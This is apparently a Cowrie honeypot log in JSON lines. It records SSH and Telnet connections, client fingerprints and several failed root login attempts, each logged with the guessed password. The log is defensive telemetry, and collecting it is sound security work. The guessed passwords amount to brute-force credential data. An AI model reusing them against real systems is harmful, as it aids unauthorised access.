{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:32.993493Z","src_ip":"103.166.103.173","session":"8088ba54844b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:33.222065Z","src_ip":"103.166.103.173","session":"8088ba54844b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.25398397445679,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:34.024452Z","src_ip":"192.119.13.58","session":"73be68ecaa05","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"debbie","message":"login attempt [root/debbie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:34.169871Z","src_ip":"103.166.103.173","session":"8088ba54844b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48414,"dst_ip":"10.17.0.5","dst_port":23,"session":"01d1124f2670","protocol":"telnet","message":"New connection: 192.119.13.58:48414 (10.17.0.5:23) [session: 01d1124f2670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:34.466115Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49570,"dst_ip":"10.17.0.5","dst_port":23,"session":"c81736e97c03","protocol":"telnet","message":"New connection: 192.119.13.58:49570 (10.17.0.5:23) [session: c81736e97c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:34.878842Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:35.403582Z","src_ip":"103.166.103.173","session":"8088ba54844b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.82488417625427,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:43.147561Z","src_ip":"192.119.13.58","session":"6c0e6463ce5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.80058145523071,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:43.507523Z","src_ip":"192.119.13.58","session":"be4ecb8a4a10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.08077073097229,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:50.697345Z","src_ip":"192.119.13.58","session":"70f604f1d369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35532,"dst_ip":"10.17.0.5","dst_port":23,"session":"da289cccbe56","protocol":"telnet","message":"New connection: 192.119.13.58:35532 (10.17.0.5:23) [session: da289cccbe56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:50.890938Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":55116,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac1a689bba14","protocol":"ssh","message":"New connection: 103.75.182.198:55116 (10.17.0.5:22) [session: ac1a689bba14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:52.206707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:52.211219Z","src_ip":"103.75.182.198","session":"ac1a689bba14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:52.454471Z","src_ip":"103.75.182.198","session":"ac1a689bba14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456w","message":"login attempt [root/123456w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:53.186726Z","src_ip":"103.75.182.198","session":"ac1a689bba14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46946,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c6032543c4e","protocol":"telnet","message":"New connection: 192.119.13.58:46946 (10.17.0.5:23) [session: 1c6032543c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:53.861380Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:54.435527Z","src_ip":"103.75.182.198","session":"ac1a689bba14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.92641639709473,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:58.193694Z","src_ip":"192.119.13.58","session":"b56c95e108d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.885533809661865,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:24:59.998930Z","src_ip":"192.119.13.58","session":"05daadffeb2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45170,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5b0ed2cda84","protocol":"telnet","message":"New connection: 192.119.13.58:45170 (10.17.0.5:23) [session: e5b0ed2cda84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:01.290051Z"}
{"eventid":"cowrie.session.closed","duration":36.93486046791077,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:02.832864Z","src_ip":"192.119.13.58","session":"8e23b153dcdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54432,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb8fbd3ac75c","protocol":"telnet","message":"New connection: 192.119.13.58:54432 (10.17.0.5:23) [session: fb8fbd3ac75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:04.285005Z"}
{"eventid":"cowrie.session.closed","duration":34.41967415809631,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:04.424527Z","src_ip":"192.119.13.58","session":"216103da4ed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":38656,"dst_ip":"159.203.135.109","dst_port":22,"session":"2424238ff242","protocol":"ssh","message":"New connection: 43.135.129.144:38656 (159.203.135.109:22) [session: 2424238ff242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:12.211769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:12.217592Z","src_ip":"43.135.129.144","session":"2424238ff242","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:12.291363Z","src_ip":"43.135.129.144","session":"2424238ff242","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaa","message":"login attempt [root/aaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:12.601731Z","src_ip":"43.135.129.144","session":"2424238ff242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:13.674608Z","src_ip":"43.135.129.144","session":"2424238ff242","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40606,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0385b597175","protocol":"telnet","message":"New connection: 192.119.13.58:40606 (10.17.0.5:23) [session: f0385b597175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:17.274790Z"}
{"eventid":"cowrie.session.closed","duration":43.988800048828125,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:18.454778Z","src_ip":"192.119.13.58","session":"01d1124f2670","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54886,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd448f9430f3","protocol":"telnet","message":"New connection: 192.119.13.58:54886 (10.17.0.5:23) [session: dd448f9430f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:21.435024Z"}
{"eventid":"cowrie.session.closed","duration":49.28206467628479,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:24.160787Z","src_ip":"192.119.13.58","session":"c81736e97c03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77011275291443,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:25.660845Z","src_ip":"192.119.13.58","session":"da289cccbe56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":56236,"dst_ip":"10.17.0.5","dst_port":22,"session":"33f9b8627a28","protocol":"ssh","message":"New connection: 193.37.70.224:56236 (10.17.0.5:22) [session: 33f9b8627a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:26.440533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:26.445340Z","src_ip":"193.37.70.224","session":"33f9b8627a28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:26.539468Z","src_ip":"193.37.70.224","session":"33f9b8627a28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fantom","message":"login attempt [root/fantom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:26.815685Z","src_ip":"193.37.70.224","session":"33f9b8627a28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:27.908919Z","src_ip":"193.37.70.224","session":"33f9b8627a28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":48760,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8a881e1bcf0","protocol":"ssh","message":"New connection: 43.135.182.46:48760 (159.203.135.109:22) [session: c8a881e1bcf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:28.420927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:28.426369Z","src_ip":"43.135.182.46","session":"c8a881e1bcf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:28.495380Z","src_ip":"43.135.182.46","session":"c8a881e1bcf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle@2016","message":"login attempt [root/oracle@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:28.802689Z","src_ip":"43.135.182.46","session":"c8a881e1bcf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:29.874728Z","src_ip":"43.135.182.46","session":"c8a881e1bcf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47212,"dst_ip":"10.17.0.5","dst_port":23,"session":"c046a179b684","protocol":"telnet","message":"New connection: 192.119.13.58:47212 (10.17.0.5:23) [session: c046a179b684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:30.291882Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":58650,"dst_ip":"10.17.0.5","dst_port":22,"session":"e86f0c58d5a7","protocol":"ssh","message":"New connection: 43.153.104.156:58650 (10.17.0.5:22) [session: e86f0c58d5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:30.858992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:30.864415Z","src_ip":"43.153.104.156","session":"e86f0c58d5a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:30.932898Z","src_ip":"43.153.104.156","session":"e86f0c58d5a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"^YHN6yhn","message":"login attempt [root/^YHN6yhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:31.238725Z","src_ip":"43.153.104.156","session":"e86f0c58d5a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:32.310623Z","src_ip":"43.153.104.156","session":"e86f0c58d5a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.54799175262451,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:32.837911Z","src_ip":"192.119.13.58","session":"e5b0ed2cda84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":41860,"dst_ip":"159.203.135.109","dst_port":22,"session":"686111ea2ebc","protocol":"ssh","message":"New connection: 103.183.114.55:41860 (159.203.135.109:22) [session: 686111ea2ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:32.875687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:25:32.886518Z","src_ip":"103.183.114.55","session":"686111ea2ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@